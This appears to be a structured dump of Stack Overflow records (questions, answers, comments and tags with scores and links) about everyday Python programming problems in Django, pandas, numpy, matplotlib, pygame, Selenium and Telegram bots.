tagged with: python
has comment: http://stackoverflow.com/comment/80970642
has comment: http://stackoverflow.com/comment/80972069
has comment: http://stackoverflow.com/comment/80972760
tagged with: django-rest-framework
has comment: http://stackoverflow.com/comment/80971271
has answer: http://stackoverflow.com/a/47013555
has comment: http://stackoverflow.com/comment/80971388
type: AnsweredQuestion
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/80972132
has comment: http://stackoverflow.com/comment/80971720
has comment: http://stackoverflow.com/comment/80971169
has comment: http://stackoverflow.com/comment/80970972
answer count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80971167
has body: I noticed that when I use DRF documentation I get error AttributeError: 'NoneType' object has no attribute 'method' and this is associated with this line if self.request.method == 'POST' Any ideas how can I solve it? views.py: @permission_classes([UserPermission]) class UserObject(GenericAPIView): def get_serializer_class(self): if self.request.method == 'POST': return ObjectPostSerializer return ObjectSerializer def post(self, request, user_id): serializer = ObjectSerializer(data=request.data) if serializer.is_valid(): serializer.save(user_id=user_id) return Response(serializer.data, status=status.HTTP_201_CREATED) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) def get(self, request, user_id): try: object = Object.objects.filter(user=user_id) except Object.DoesNotExist: return Response(status=status.HTTP_404_NOT_FOUND) serializer = ObjectSerializer(object, many=True) return Response(serializer.data) def put(self, request, user_id): try: object = Object.objects.get(user=user_id) except Object.DoesNotExist: return Response(status=status.HTTP_404_NOT_FOUND) serializer = ObjectSerializer(object, data=request.data) if serializer.is_valid(): serializer.save() return Response(serializer.data) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) def delete(self, request, user_id): try: object = Object.objects.filter(user=user_id) except Object.DoesNotExist: return Response(status=status.HTTP_404_NOT_FOUND) object.delete() return Response(status=status.HTTP_204_NO_CONTENT) Traceback without self: django_1 | File "/usr/local/lib/python3.6/site-packages/django/core/handlers/exception.py", line 41, in inner django_1 | response = get_response(request) django_1 | File "/usr/local/lib/python3.6/site-packages/django/core/handlers/base.py", line 187, in _get_response django_1 | response = self.process_exception_by_middleware(e, request) django_1 | File "/usr/local/lib/python3.6/site-packages/django/core/handlers/base.py", line 185, in _get_…
has comment: http://stackoverflow.com/comment/80972346
has comment: http://stackoverflow.com/comment/80972674
has comment: http://stackoverflow.com/comment/80970604
has comment: http://stackoverflow.com/comment/80971149
has comment: http://stackoverflow.com/comment/80971676
tagged with: django-models
has comment: http://stackoverflow.com/comment/80971488
has comment: http://stackoverflow.com/comment/80971440

http://stackoverflow.com/q/47064625
tagged with: exception
upvote count: 5
tagged with: python
has body: I am trying to avoid a telegram error. This error occurs when a message is not modified: telegram.error.BadRequest: Message is not modified I would like to make a function to print a message when this error occurs instead the original error message telegram prints. I have tried something like this but does not work: def error_callback(bot, update, error): try: raise error except BadRequest: # handle malformed requests - read more below! print('Same message')
answer count: 1
has answer: http://stackoverflow.com/a/47100527
score: 4
type: AnsweredQuestion
has title: Error handling Telegram bot
tagged with: handle
downvote count: 1
accepted answer: http://stackoverflow.com/a/47100527
favorite count: 0
tagged with: telegram
type: Question

http://stackoverflow.com/q/47006694
has title: Imported function not working?
score: 0
has answer: http://stackoverflow.com/a/47006712
has comment: http://stackoverflow.com/comment/80959999
tagged with: python
has body: In one module I have a function such as : def check_answer(num1, num2, ans, op): int(num1) int(num2) int(ans) if op == "-": return num1 - num2 == ans if op == "+": return num1 + num2 == ans in a seperate module. I tested the function. import myfunctions myfunctions.check_answer(1,1,2,"+") It usually returns a true/false value. But now that I've imported it. It returns nothing?
type: Question
tagged with: python-import
tagged with: return
answer count: 2
tagged with: function
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47006954
has comment: http://stackoverflow.com/comment/80960049
has comment: http://stackoverflow.com/comment/80960012

http://stackoverflow.com/comment/93679074
type: Comment
comment on: http://stackoverflow.com/a/46965196
type: AnswerComment
score: 7
has text: Changing the configuration in keras.json could cause problems when using the code on another machine. I think that using the following will be better: keras.backend.set_image_data_format('channels_first')

http://stackoverflow.com/comment/80958695
has text: "I think that the best way to do that is to use frenquency domai" Okay, do it.
type: QuestionComment
comment on: http://stackoverflow.com/q/47006053
score: 0
type: Comment

http://stackoverflow.com/comment/81187790
has text: update post as per https://stackoverflow.com/help/someone-answers
type: Comment
comment on: http://stackoverflow.com/q/47057009
score: 0
type: QuestionComment

http://stackoverflow.com/q/46974450
answer count: 1
has comment: http://stackoverflow.com/comment/80896311
tagged with: key
has title: Identifying a key in a dictionary by position
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46974467
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80896321
tagged with: python
score: -1
tagged with: dictionary
has body: I'm trying to see if I can identify a key in a dictionary by postion in the dictionary. So: dict = {'A':[], 'B': [], 'C': []} I want to be able to identify that 'A' is the 0th key in dict, 'B' is the 1st key in dict, and 'C' in the 2nd key in dict etc.
upvote count: 0
has comment: http://stackoverflow.com/comment/80896357

http://stackoverflow.com/comment/87920740
has text: was my answer helpful?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47057332
type: Comment

http://stackoverflow.com/comment/80931789
type: QuestionComment
has text: Also note that, according to [this description of the PPM format](http://netpbm.sourceforge.net/doc/ppm.html), a *plain* PPM file (with "magic number" P3 instead of P6) can contain only one image.
score: 0
comment on: http://stackoverflow.com/q/46992100
type: Comment

http://stackoverflow.com/comment/80938661
comment on: http://stackoverflow.com/q/46996068
type: QuestionComment
has text: Why `pi[digit]` ?
score: 0
type: Comment

http://stackoverflow.com/a/50135046
answers question: http://stackoverflow.com/q/46996866
score: 1
downvote count: 0
has body: Sampling the angle and length like above doesn't guarantee uniform sampling from the circle. In this case, P(a) > P(b) if ||a|| > ||b||. In order to sample uniformly from a circle do the following : length = np.random.uniform(0, 1) angle = np.pi * np.random.uniform(0, 2) x = np.sqrt(length) * np.cos(angle) y = np.sqrt(length) * np.sin(angle)
type: Answer
upvote count: 1

http://stackoverflow.com/comment/81051822
comment on: http://stackoverflow.com/a/47051335
type: AnswerComment
score: 0
has text: y, x, r = blob c = patches.Rectangle((x - r,y - r), 2*r, 2*r,linewidth=2,edgecolor=color,facecolor='none') ax[idx].add_patch(c) ax[idx].set_axis_off() croppedImage = image[x-r:x+r,y-r:y+r] #return crop.save("C:/Users/A/Projects/Image/test/", png) plt.tight_layout() plt.show() Display error(slice indices must be integers or None or have an __index__ method)
type: Comment

http://stackoverflow.com/a/46947479
score: 0
answers question: http://stackoverflow.com/q/46940780
type: Answer
has body: InlineQueryResultAudio only accepts links while InlineQueryResultCachedAudio only accepts file_id. What you can do is post the files to your own server or upload it elsewhere to use the former one, or use SendAudio to get the file_id of it and use the latter one.

http://stackoverflow.com/q/46963033
has comment: http://stackoverflow.com/comment/80874957
linked to: http://stackoverflow.com/q/46498157
duplicate of: http://stackoverflow.com/q/42845694
type: Question
tagged with: python-3.x
answer count: 0
duplicate of: http://stackoverflow.com/q/46498157
has comment: http://stackoverflow.com/comment/80876275
has body: I'm plotting with matplotlib. When I set the x-scale to 'log' and change the tick labels and formatting to display linearly, the logspace tick labels don't go away, and I end up with two sets of xticklabels (one linear and one logspace). This didn't happen on another machine, so I think it is version-specific? Right now I'm working in Jupyter Notebook with matplotlib 2.0.2 and python 3.6.1. MWE: import numpy as np import matplotlib.pyplot as plt from matplotlib.ticker import FormatStrFormatter %matplotlib inline fig, ax = plt.subplots(1, 1) xmin = 5 xmax = 50 ax.set_xscale('log') ax.set_xticklabels(np.logspace(np.log10(xmin), np.log10(xmax), num=6)) ax.set_xticks(np.logspace(np.log10(xmin), np.log10(xmax), num=6)) ax.xaxis.set_major_formatter(FormatStrFormatter('%.0f')) ax.set_xlim([xmin, xmax])
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80877079
score: 0
has title: Log scale axis ticks & labels not removed after setting custom linear ticks
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/80876202
has comment: http://stackoverflow.com/comment/80877242

http://stackoverflow.com/comment/81041159
has text: I added it to the comment.
type: AnswerComment
comment on: http://stackoverflow.com/a/47046822
score: 0
type: Comment

http://stackoverflow.com/comment/80892138
has text: @Tasos , thank you for your time. I tried few recursive options, but none of them worked.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46956545
type: QuestionComment

http://stackoverflow.com/a/46938845
has comment: http://stackoverflow.com/comment/80825990
answers question: http://stackoverflow.com/q/46938791
has comment: http://stackoverflow.com/comment/80825489
has body: You can re-write the idea by doing this, and as @Wyatt used a map, is a nice idea use it too: choice = raw_input('\nSpend points?') v = 0.0 value_map = { 1: 0.3, 2: 0.25, 3: 0.2, 4: 0.1, 5: 0.05, 6: 0.75, } while not (choice.lower() in "y yes n no".split()): print("invalid input, valid input are 'y, yes, n, no'") choice = raw_input('\nSpend points?') if choice.lower().strip() in "y yes".split(): c = raw_input('Enter Value 1-6: ') while not(c.isdigit() and int(c) &lt;= 6): print("please, enter a digit between 1 and 6") c = raw_input('Enter Value 1-6: ') v = value_map[int(c)] print v
has comment: http://stackoverflow.com/comment/80825582
has comment: http://stackoverflow.com/comment/80826380
has comment: http://stackoverflow.com/comment/80825763
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80828371
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/80827565
downvote count: 1
has comment: http://stackoverflow.com/comment/80824998
has comment: http://stackoverflow.com/comment/80829154
accepted answer of: http://stackoverflow.com/q/46938791
score: 0
has comment: http://stackoverflow.com/comment/80829094

http://stackoverflow.com/q/46939998
score: 0
tagged with: list
answer count: 0
has comment: http://stackoverflow.com/comment/80827164
has comment: http://stackoverflow.com/comment/80827163
type: Question
has title: Pythonic way to check if two lists are equal in size
tagged with: performance
has comment: http://stackoverflow.com/comment/80827094
linked to: http://stackoverflow.com/q/1115313
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80827228
has body: Whats the most pythonic or efficent way to check if two lists are equal in size? The only thing I can think of is len(list_a) == len(list_b) but that seems like it would take a lot more processing power than necessary, especially if the check needs to be done frequently and on large lists. Is there a better way?
tagged with: python
duplicate of: http://stackoverflow.com/q/1115313
has comment: http://stackoverflow.com/comment/80827180

http://stackoverflow.com/comment/80947550
type: Comment
score: 0
type: AnswerComment
has text: @ZhetaoZhuang 1. So the question is wrong on its own. 2. The question is about Python, why did you answer in PHP?
comment on: http://stackoverflow.com/a/47000287

http://stackoverflow.com/q/47004500
has comment: http://stackoverflow.com/comment/80955473
has answer: http://stackoverflow.com/a/47004635
accepted answer: http://stackoverflow.com/a/47004635
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: http://stackoverflow.com/tag/json
type: Question
tagged with: python-3.x
has title: Get key values from a nested dictionary
has body: I'm trying to write a very simple, yet modular script to rename files. I would like to process the contents of a JSON file, however, I'm stuck at returning all the sub-values of a key(object?) not just one. My test code looks like this so far: import json DB_dict = json.load(open("../source_code/db3.json", encoding='utf-8-sig')) old_names_of_Book1 = DB_dict["Book1"]["Book1_section1"]["old_name"] print(old_names_of_Book1) print("________________________") for key, values in DB_dict.items(): print(key) print(values) Contents of the imported db3.json: { "Book1": { "Book1_section1": { "old_name": "Adventures of X1", "new_name": "Adventures of Y1" }, "Book1_section2": { "old_name": "Adventures of X2", "new_name": "Adventures of Y2" }, "Book1_section3": { "old_name": "Adventures of X3", "new_name": "Adventures of Y3" }, "Book1_section4": { "old_name": "Adventures of X4", "new_name": "Adventures of Y4" } }, "Book2": { "Book2_section1": { "old_name": "Adventures of X1", "new_name": "Adventures of Y1" }, "Book2_section2": { "old_name": "Adventures of X2", "new_name": "Adventures of Y2" }, "Book2_section3": { "old_name": "Adventures of X3", "new_name": "Adventures of Y3" }, "Book2_section4": { "old_name": "Adventures of X4", "new_name": "Adventures of Y4" } } } The Book1, Book2, Bookx keys in the JSON file would be hard-coded in the script, as I'd like to rename different files based on the user input using branching statements. For example, if the user picks Book1, then rename each old_name value to new_name, but don't mind the number of occurrences of "sections". (The number of sections (Book1_section1) could change overtime, therefore, I want my script to iterate on each occurrence of sections.) My problem is that, I don't know how to ignore the Book1_section1, Book1_section2, etc... keys in my JSON and only parse their content. With print(DB_dict["Book1"]["Book1_section1"]["old_name"]) I can get the value I want but I don't know how to get all the values.
answer count: 1

http://stackoverflow.com/comment/81070617
score: 0
type: Comment
type: QuestionComment
has text: Well of course that would work, but I'm looking for something that can be more concise.
comment on: http://stackoverflow.com/q/47061371

http://stackoverflow.com/comment/80941356
type: AnswerComment
comment on: http://stackoverflow.com/a/46992176
type: Comment
has text: Thank you for answering. I get an error like this: mysql.connector.errors.ProgrammingError: Not all parameters were used in the SQL statement. The problem still seems to be caused by "new_data_entry()". I connect the database using "mysql.connector" but make tables using "sqlite3"; can I do this?
score: 0

http://stackoverflow.com/a/54223064
score: 4
has body: It works for me with pandas 0.23.4 import pandas as pd import numpy as np df = pd.DataFrame({ 'userID': ['DSm7ysk', 'no51CdJ', 'foo', 'bar'], 'duration': [pd.Timedelta('3 hours 8 minutes 49 seconds'), pd.Timedelta('35 minutes 50 seconds'), pd.Timedelta('1 minutes 13 seconds'), pd.Timedelta('6 minutes 43 seconds')] }) bins = [ pd.Timedelta(minutes = 0), pd.Timedelta(minutes = 5), pd.Timedelta(minutes = 10), pd.Timedelta(minutes = 20), pd.Timedelta(minutes = 30), pd.Timedelta(hours = 4) ] labels = ['0-5min', '5-10min', '10-20min', '20-30min', '30min+'] df['bins'] = pd.cut(df['duration'], bins, labels = labels) Result:
answers question: http://stackoverflow.com/q/46930291
upvote count: 4
downvote count: 0
type: Answer

http://stackoverflow.com/q/47034604
accepted answer: http://stackoverflow.com/a/47034687
tagged with: python
tagged with: pygame
possible better answer: http://stackoverflow.com/a/47035219
has body: I'm trying to make asteroids drop from the top straight to the bottom of the screen and then disappear. To do this I have made multiple objects of class Asteroid, however I can't delete them afterwards. A = [] while gameLoop: ... a = Asteroid() A.append(a)` for i in A: i.move() if i.pos &gt; dWidth: del i # This doesn't remove the object Is there any way to delete them?
has answer: http://stackoverflow.com/a/47035219
type: AnsweredQuestion
score: 3
upvote count: 3
answer count: 2
has title: How do I delete displayed objects in python with pygame?
has comment: http://stackoverflow.com/comment/81015730
downvote count: 0
has answer: http://stackoverflow.com/a/47034687
favorite count: 0
tagged with: python-3.x
type: Question

image-segmentation
tags question: http://stackoverflow.com/q/47055771
tags question: http://stackoverflow.com/q/47006053
tags question: http://stackoverflow.com/q/46970271
tag name: image-segmentation
type: Tag

http://stackoverflow.com/q/46913465
has title: 'random_sample' is not defined when using pip
type: Question
accepted answer: http://stackoverflow.com/a/46913507
has answer: http://stackoverflow.com/a/46913507
tagged with: pip
tagged with: python
has body: I was trying to use celery, but ran into some compilation errors. As such, I tried to uninstall/reinstall Numpy and Skimage in an attempt to fix it. I did not fix it, instead, I made it worse. When I now use pip to install, uninstall or --upgrade it returns the following error. rootadmin@annotatie01:/data_nfs/opensurfaces/venv/lib/python2.7/site-packages/numpy$ sudo -H python -m pip install pandas Traceback (most recent call last): File "/usr/lib/python2.7/runpy.py", line 151, in _run_module_as_main mod_name, loader, code, fname = _get_module_details(mod_name) File "/usr/lib/python2.7/runpy.py", line 109, in _get_module_details return _get_module_details(pkg_main_name) File "/usr/lib/python2.7/runpy.py", line 101, in _get_module_details loader = get_loader(mod_name) File "/usr/lib/python2.7/pkgutil.py", line 464, in get_loader return find_loader(fullname) File "/usr/lib/python2.7/pkgutil.py", line 474, in find_loader for importer in iter_importers(fullname): File "/usr/lib/python2.7/pkgutil.py", line 430, in iter_importers __import__(pkg) File "/usr/local/lib/python2.7/dist-packages/pip/__init__.py", line 21, in &lt;module&gt; from pip._vendor.requests.packages.urllib3.exceptions import DependencyWarning File "/usr/local/lib/python2.7/dist-packages/pip/_vendor/requests/__init__.py", line 62, in &lt;module&gt; from .packages.urllib3.exceptions import DependencyWarning File "/usr/local/lib/python2.7/dist-packages/pip/_vendor/requests/packages/__init__.py", line 29, in &lt;module&gt; import urllib3 File "/usr/lib/python2.7/dist-packages/urllib3/__init__.py", line 16, in &lt;module&gt; from .connectionpool import ( File "/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py", line 17, in &lt;module&gt; from httplib import HTTPConnection, HTTPException File "/usr/lib/python2.7/httplib.py", line 80, in &lt;module&gt; import mimetools File "/usr/lib/python2.7/mimetools.py", line 6, in &lt;module&gt; import tempfile File "/usr/lib/python2.7/tempfile.py", line 35, in &l…
type: AnsweredQuestion
score: 0
answer count: 1

http://stackoverflow.com/a/47040236
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47039613
score: 2
answers question: http://stackoverflow.com/q/47039613
type: Answer
has body: Django's auth system can be made to be secure or insecure based on the configurations which you specify. With that being said, and to the heart of your question - the standard Django Auth System out-of-the-box is secure and can be enhanced by following their guidance. More details: password strength historical vulnerabilities security best practices You asked a broad question, so it merits a somewhat broad response. But specifically I'd use the standard Django auth vice trying to roll my own. Its secure and is easier to maintain.
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/a/46983402
downvote count: 0
has comment: http://stackoverflow.com/comment/80914595
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46982810
score: 1
has comment: http://stackoverflow.com/comment/80914574
type: Answer
answers question: http://stackoverflow.com/q/46982810
has body: Unless you have python3.6, you cannot guarantee order in dictionaries. Even if you could with python3.6, that would imply your code would not run in any lower python version. If you need order, you should be looking at lists instead. You can store your dataframes as well as your suffixes in a list, and then use zip to add a suffix to each df in turn. dfs = [df1, df2, df3] sufs = [suf1, suf2, suf3] df_sufs = [x.add_suffix(y) for x, y in zip(dfs, sufs)] Based on your code/answer, you can load your dataframes and suffixes into lists, call zip, add a suffix to each one, and call pd.concat. dfs = [ddict[x] for x in frames_to_concat['Sheets']] sufs = [suff[x] for x in suffs['Suffixes']] df4 = pd.concat([x.add_suffix(sep0 + y) for x, y in zip(dfs, sufs)], axis=1, join='outer')
type: AcceptedAnswer

http://stackoverflow.com/q/46910353
has body: When I save a jupyter notebook with a plotly graph, I get the following error: [E 13:42:38.458 NotebookApp] Notebook JSON is invalid: {'data': [{'type': 'scatter', 'y': [1, 2, 3]}], 'layout': {}} is not valid under any of the given schemas Failed validating 'oneOf' in schema['properties']['data']['patternProperties']['^(?!application/json$)[a-zA-Z0-9]+/[a-zA-Z0-9\\-\\+\\.]+$']: {'oneOf': [{'type': 'string'}, {'items': {'type': 'string'}, 'type': 'array'}]} On instance['data']['application/vnd.plotly.v1+json']: {'data': [{'type': 'scatter', 'y': [1, 2, 3]}], 'layout': {}} My code in the notebook is : import plotly.offline as py import plotly.graph_objs as go py.init_notebook_mode(connected=True) data = [go.Scatter(y=[1,2,3])] py.iplot(data) Following plotly plots in jupyter notebooks: Validation fails when saving, I updated nbformat but still not working (I checked with import nbformat nbformat__version__ that the update worked)
answer count: 2
score: 5
downvote count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/42285255
favorite count: 0
has answer: http://stackoverflow.com/a/66365233
upvote count: 5
has comment: http://stackoverflow.com/comment/81236108
tagged with: plotly
has title: Validation fails when using plotly in jupyter notebook
has answer: http://stackoverflow.com/a/61500788
tagged with: python
tagged with: jupyter-notebook
type: Question

http://stackoverflow.com/a/47010016
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47009752
type: Answer
has body: Check this code str = str.replace('",)', '")')
accepted answer of: http://stackoverflow.com/q/47009752
score: 0

http://stackoverflow.com/q/46952690
answer count: 4
type: AnsweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/16970982
has comment: http://stackoverflow.com/comment/80852742
favorite count: 0
type: Question
upvote count: 4
tagged with: numpy
has answer: http://stackoverflow.com/a/46954560
accepted answer: http://stackoverflow.com/a/46953582
possible better answer: http://stackoverflow.com/a/46952836
has body: There is a 2D numpy array of about 500000 rows by 512 values each row: [ [1,0,1,...,0,0,1], # 512 1's or 0's [0,1,0,...,0,1,1], ... [0,0,1,...,1,0,1], # row number 500000 ] How to sort the rows ascending as if each row is a long 512-bit integer? [ [0,0,1,...,1,0,1], [0,1,0,...,0,1,1], [1,0,1,...,0,0,1], ... ]
has answer: http://stackoverflow.com/a/46953582
tagged with: arrays
has answer: http://stackoverflow.com/a/46952836
has answer: http://stackoverflow.com/a/46953032
tagged with: python
tagged with: sorting
score: 4
has comment: http://stackoverflow.com/comment/80852766
has title: How to sort rows of a binary-valued array as if they were long binary numbers?

http://stackoverflow.com/a/46940300
has comment: http://stackoverflow.com/comment/80831105
has comment: http://stackoverflow.com/comment/80829948
has comment: http://stackoverflow.com/comment/80828168
has comment: http://stackoverflow.com/comment/80829206
has comment: http://stackoverflow.com/comment/80828361
has comment: http://stackoverflow.com/comment/80829367
has comment: http://stackoverflow.com/comment/80830121
has comment: http://stackoverflow.com/comment/80829011
has comment: http://stackoverflow.com/comment/80831593
type: Answer
has comment: http://stackoverflow.com/comment/80829096
has comment: http://stackoverflow.com/comment/80832014
score: 0
has comment: http://stackoverflow.com/comment/80831726
answers question: http://stackoverflow.com/q/46939900
has body: If what you want to do is to click all the visible BUTTONs that contain "Following X", those all have a CSS class of following-text. Why not use that? items = driver.find_elements_by_css_selector("button.following-text") visible_items = [item for item in items if item.is_displayed()] for item in visible_items item.click()
has comment: http://stackoverflow.com/comment/80831579

http://stackoverflow.com/q/46957015
answer count: 1
downvote count: 0
upvote count: 1
has title: Remove duplicated values in a column in dataframe according to ID
has body: I am performing data cleaning on a dataframe with millions of rows. It looks like this example: id transaction_date expire_date 0 A 2015-01-01 2015-02-01 1 A 2015-01-01 2015-03-14 2 A 2015-01-01 2015-06-19 3 A 2015-01-01 2015-07-01 4 B 2016-02-02 2016-03-02 5 C 2016-01-01 2016-01-15 I would like to remove from row 0 to 3 as so many transactions on the same day with different expire date wouldn't make sense. I'm thinking of this df.drop_duplicates(subset='transaction_date') Is it the correct way?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80861377
type: UnansweredQuestion
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80861437
tagged with: pandas
has answer: http://stackoverflow.com/a/46957602

http://stackoverflow.com/q/46929976
answer count: 2
has answer: http://stackoverflow.com/a/46941832
possible better answer: http://stackoverflow.com/a/46941832
tagged with: python
has title: Selenium not randomly clicking (No Error Code)
score: 2
has answer: http://stackoverflow.com/a/46943418
type: AnsweredQuestion
downvote count: 0
tagged with: selenium
tagged with: web-scraping
has body: Process finished with exit code 0. Selenium is not randomly clicking… It navigates up to this part of the job below (I assume and finishes successfully) however nothing is clicked or scraped. indexes = [index for index in range(len(options))] shuffle(indexes) for index in indexes: wait(driver, 10).until( EC.element_to_be_clickable((By.XPATH,'(//div[div/div/text()="Main Lists"]//div[starts-with(@class, "sm-CouponLink_Label") and normalize-space()])[%s]' % str(index + 1)))) And then the jobs stops. There is no error message unfortunately. It does not seem to scrape the pages either or even click the tabs. Any ideas on what is causing this issue. I have tried different Xpaths but there seems to be no errors. Here is my full code
favorite count: 0
type: Question
tagged with: xpath
upvote count: 2
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/46943418

http://stackoverflow.com/a/71186211
has comment: http://stackoverflow.com/comment/133270637
has body: The original pyreadline is no longer maintained and doesn't work on newer versions of Python (&gt;=3.10). Installing pyreadline3 works: python -m pip install pyreadline3
upvote count: 33
type: Answer
answers question: http://stackoverflow.com/q/46944162
score: 33
has comment: http://stackoverflow.com/comment/133270866
downvote count: 0

linux
tags question: http://stackoverflow.com/q/46971668
tags question: http://stackoverflow.com/q/47051689
tags question: http://stackoverflow.com/q/47049548
tags question: http://stackoverflow.com/q/46952312
tag name: linux
tags question: http://stackoverflow.com/q/46961410
tags question: http://stackoverflow.com/q/47026351
tags question: http://stackoverflow.com/q/47051545
tags question: http://stackoverflow.com/q/47035609
tags question: http://stackoverflow.com/q/46986763
tags question: http://stackoverflow.com/q/46938066
tags question: http://stackoverflow.com/q/47061792
tags question: http://stackoverflow.com/q/47043620
tags question: http://stackoverflow.com/q/46939573
tags question: http://stackoverflow.com/q/47026617
tags question: http://stackoverflow.com/q/46960932
tags question: http://stackoverflow.com/q/46930746
tags question: http://stackoverflow.com/q/47060759
tags question: http://stackoverflow.com/q/47034219
tags question: http://stackoverflow.com/q/46971088
tags question: http://stackoverflow.com/q/47005505
type: Tag
tags question: http://stackoverflow.com/q/46971566
tags question: http://stackoverflow.com/q/46962514
tags question: http://stackoverflow.com/q/46956792
tags question: http://stackoverflow.com/q/46997622
tags question: http://stackoverflow.com/q/47016416
tags question: http://stackoverflow.com/q/46941060
tags question: http://stackoverflow.com/q/47058585
tags question: http://stackoverflow.com/q/46920538
tags question: http://stackoverflow.com/q/46911738
tags question: http://stackoverflow.com/q/47004598
tags question: http://stackoverflow.com/q/46912384
tags question: http://stackoverflow.com/q/47045086

http://stackoverflow.com/comment/80961808
type: QuestionComment
score: 0
has text: Change `letter_grade!="A" or "B+" or "B" or "C+" or "C" or "D" or "F":` to `while letter_grade not in ["A", "B+", "B", "C+", "C", "D", "F"]:`
type: Comment
comment on: http://stackoverflow.com/q/47007563

http://stackoverflow.com/a/46944354
score: 0
answers question: http://stackoverflow.com/q/46944277
has body: You can generate a list of the returned starthour values: daysofweek = ["monday","tuesday","wednesday","thursday","friday","saturday","sunday"] hours = [workdaystart(day) for day in daysofweek]
type: Answer

http://stackoverflow.com/q/46984250
tagged with: python
has answer: http://stackoverflow.com/a/46984589
has body: I have a dataframe like this: Id row Date BuyPrice SellPrice Time 1 1 2017-10-30 94520 0 9:00:00 1 2 2017-10-30 94538 0 9:00:00 1 3 2017-10-30 94609 0 9:00:00 1 4 2017-10-30 94615 0 9:00:00 1 5 2017-10-30 94617 0 9:00:00 1 1 2017-09-20 99100 99159 9:00:10 1 2 2017-09-20 99102 99058 9:00:11 1 3 2017-09-20 99103 99057 9:00:12 1 4 2017-09-20 99104 99056 9:00:10 1 5 2017-09-20 99105 99055 9:00:10 1 1 2017-09-20 98100 99190 9:01:10 1 2 2017-09-20 98099 99091 9:01:10 1 3 2017-09-20 98098 99092 9:01:10 1 4 2017-09-20 98097 99093 9:01:10 1 5 2017-09-20 98096 99094 9:01:10 2 1 2010-11-01 99890 100000 10:00:02 2 2 2010-11-01 99899 100000 10:00:02 2 3 2010-11-01 99901 99899 9:00:02 2 4 2010-11-01 99920 99850 10:00:02 2 5 2010-11-01 99933 99848 10:00:23 I want to calculate SellPrice - BuyPrice for rows where the column "row" equals 1 (for each day and each id separately). If BuyPrice or SellPrice is 0, then NaN should be assigned. The target output should look like this: Id row Date BuyPrice SellPrice Spread 1 1 2017-10-30 94520 0 NaN 1 1 2017-09-20 99100 99159 59 1 1 2017-09-20 98100 99190 90 2 1 2010-11-01 99890 100000 110 Here is the code I've tried so far: df1 = df.groupby(['SID','Date'], sort=False) df1['Spread'] =np.where((df['row']==1).eq(0).any(1),np.nan,df['SellPrice']-df['BuyPrice']) but I'm getting this error: ValueError: No axis named 1 for object type &lt;class 'pandas.core.series.Series'&gt;
score: -1
type: AnsweredQuestion
has title: How to select rows and assign value based on condition?
tagged with: pandas
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80916026
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80916171
tagged with: data-analysis
has comment: http://stackoverflow.com/comment/80916186
accepted answer: http://stackoverflow.com/a/46984589

http://stackoverflow.com/a/47062200
answers question: http://stackoverflow.com/q/47016631
has body: Lets say you have a sub-folder called foo and a second sub-folder called subfoo If you want go into foo sub-folder use foo/sound.wav if you want to go in the second sub-folder subfoo use foo/subfoo/sound.wav. If you want to go up a dictionary you can use ./. For example if your sound is located in foo and you script in subfoo it could be accessed with ./sound.wav to go up one by one file use ./ again. Otherwise you can use an 'absolute' file path where you start from C: or the drive you wish to access. For example if your file filename was located in Desktop you could use: C:/users/username/Desktop/foo/subfoo/sound.wav
score: 0
type: Answer

http://stackoverflow.com/a/47064469
has comment: http://stackoverflow.com/comment/81077238
type: Answer
has comment: http://stackoverflow.com/comment/81077268
answers question: http://stackoverflow.com/q/47064425
score: 0
has body: No, you can not have a program to constantly check the while statement. It will be checked only once per loop. You may use an if statement to recheck the condition in the while loop. You can use break to stop a while loop: foodorders = [] drinkorders = [] orderitems=0 while orderitems &lt; 7: # [1, 2, 3, 4, 5, 6] -&gt; 6 orders print("SANDWHICH MENU") print("BLT.......... 5.99") print("FRENCH DIP .......... 7.99") print("TURKEY CLUB .......... 4.99") print("TRUFFLE .......... 11.99") print("GRILLED CHEESE.......... 3.99") moresand="yes" while moresand=="yes": print("Which sandwhich do you want?") sand=str(input()) foodorders.append(sand) orderitems=orderitems+1 if orderitems &gt;= 6: break print("Would you like another sandwhich?") moresand=str(input()) else: print("SOUP MENU") print("FRENCH ONION .......... 5.99") print("BROCCOLI .......... 3.99") print("CLAM CHOWDER .......... 4.99") print("SPLIT PEA .......... 3.99") print("CHCIKEN NOODLE .......... 2.99") moresoup="yes" while moresoup=="yes": print("Which soup do you want?") soup=str(input()) foodorders.append(soup) orderitems=orderitems+1 if orderitems &gt;= 6: break print("Would you like another soup?") moresoup=str(input()) else: print("DRINK MENU") print("SMALL .......... 1.99") print("MEDIUM .......... 2.99") print("LARGE .......... 3.99") moresoda="yes" while moresoda=="yes": print("Which soda do you want?") soda=str(input()) drinkorders.append(soda) orderitems=orderitems+1 if orderitems &gt;= 6: break print("Would you like another soda?") moresoda=str(input()) else: print("Thank you for shopping!") print("Your food orders are:") for foodorder in foodorders: print("A",foodorder) print("Your drink orders are:") for drinkorder in drinkorders: print("A",drinkorder,"Soda") else: print("Looks like that's all of our stock, sorry about that! Have a great rest of your day!") print("Your final food orders are:") for foodorder in foodorders: print("A",foodorder)
has comment: http://stackoverflow.com/comment/81077224
has comment: http://stackoverflow.com/comment/81077409
